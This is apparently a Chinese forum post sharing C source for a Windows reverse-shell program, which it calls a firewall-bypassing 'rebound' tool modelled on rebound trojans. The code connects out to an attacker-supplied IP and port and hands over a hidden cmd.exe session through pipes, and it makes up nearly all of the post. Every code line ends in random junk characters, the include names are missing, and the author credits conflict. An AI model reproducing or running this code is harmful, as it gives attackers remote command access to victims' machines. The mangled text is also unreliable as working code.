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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rguCp}r  
,:\|7F  
/* ============================== TT3|/zwn  
Rebound port in Windows NT \d$!a5LF}  
By wind,2006/7 G+|` 2an  
===============================*/ _n>,!vH  
#include AbmAKA@  
#include ,7K`[  
wz ~d(a#  
#pragma comment(lib,"wsock32.lib") sY f~c0${  
O]1(FWYy  
void OutputShell(); fNZ__gO!%  
SOCKET sClient; t |A-9^t'!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7o5BXF  
V[vl!XM  
void main(int argc,char **argv) fMyti$1~  
{ oIj#>1~c%  
WSADATA stWsaData; @@ %.t|=  
int nRet; QWHug:c  
SOCKADDR_IN stSaiClient,stSaiServer; 3"KCh\\b  
7g}w+p>  
if(argc != 3) gQ1;],_  
{ (mtk 4  
printf("Useage:\n\rRebound DestIP DestPort\n"); _MX>#!l  
return; O55 xS+3^k  
} !5uGd`^I  
i9][N5\$  
WSAStartup(MAKEWORD(2,2),&stWsaData); t"/q]G5  
l$bu%SZ  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G,Azm }+  
K?$^@ N  
stSaiClient.sin_family = AF_INET; >> fH{/l  
stSaiClient.sin_port = htons(0); .gOL1`b*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "d5n \@[t  
OMg<V  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >_ 2dvg=U  
{ /HRFAqep  
printf("Bind Socket Failed!\n"); ThbGQ"/  
return; zi*R`;_`,  
} pOG1jI5<{8  
2'MZ s]??w  
stSaiServer.sin_family = AF_INET; m#Z# .j_2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Is?La  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9ahWIO %  
j+v=Ul|l  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [!]2 djc  
{ Bad:n o\W  
printf("Connect Error!"); O~K>4 ax  
return; tc{s B\&-  
} !6Mo]xh  
OutputShell(); ZlzjVU/E  
} uw +M  
gz#i.-  
void OutputShell() i5?q,_  
{ h Pa_VrH  
char szBuff[1024]; I- >Ss},U  
SECURITY_ATTRIBUTES stSecurityAttributes; qfRH5)k  
OSVERSIONINFO stOsversionInfo; ! lc[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +<3X J7D  
STARTUPINFO stStartupInfo; j@uOOhy  
char *szShell; (7=!+'T"  
PROCESS_INFORMATION stProcessInformation; RxWVe-Dg  
unsigned long lBytesRead; K':;%~I  
8::$AQL3  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?[Q3q4  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r{I% \R!@  
stSecurityAttributes.lpSecurityDescriptor = 0; {vyv7L  
stSecurityAttributes.bInheritHandle = TRUE; )6,=f.%  
} .y 1;.  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Jk=I^%~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _k ~KZ;l  
l &5QZI0I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v"XGCi91L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ay w ;N  
stStartupInfo.wShowWindow = SW_HIDE; fbKkq.w  
stStartupInfo.hStdInput = hReadPipe; !1{e|p 7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; q0R -7O(  
EkNunCls  
GetVersionEx(&stOsversionInfo); NDlF0f  
jeH~<t{  
switch(stOsversionInfo.dwPlatformId) .Blf5b  
{ L4z ~B!uvF  
case 1: =Bhe'.]QSx  
szShell = "command.com"; fd<:_f]v  
break; =sJ7=39  
default: EZ$>.iy{  
szShell = "cmd.exe"; -0{r>,&Mm  
break; #S*/bao#  
} 9V@V6TvW>&  
G5aieD.#  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ne{?:h.!  
+:!7L= N#  
send(sClient,szMsg,77,0); Z&4&-RCi  
while(1) FsV'Cu@!U  
{ xtE_=5$~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [}/LD3  
if(lBytesRead) Co9QW/'i  
{ RIXMJ7e7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *4xat:@{{  
send(sClient,szBuff,lBytesRead,0); XZJ+h,f  
} QM O!v;  
else v:o({Y 1Aq  
{ X1Ac*oLN  
lBytesRead=recv(sClient,szBuff,1024,0); ##;Er47@^  
if(lBytesRead<=0) break; /X(t1+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ll6wpV0m  
} 3k# /{Z  
} HATA-M  
jm0- y%  
return; P%=#^T&`}  
}
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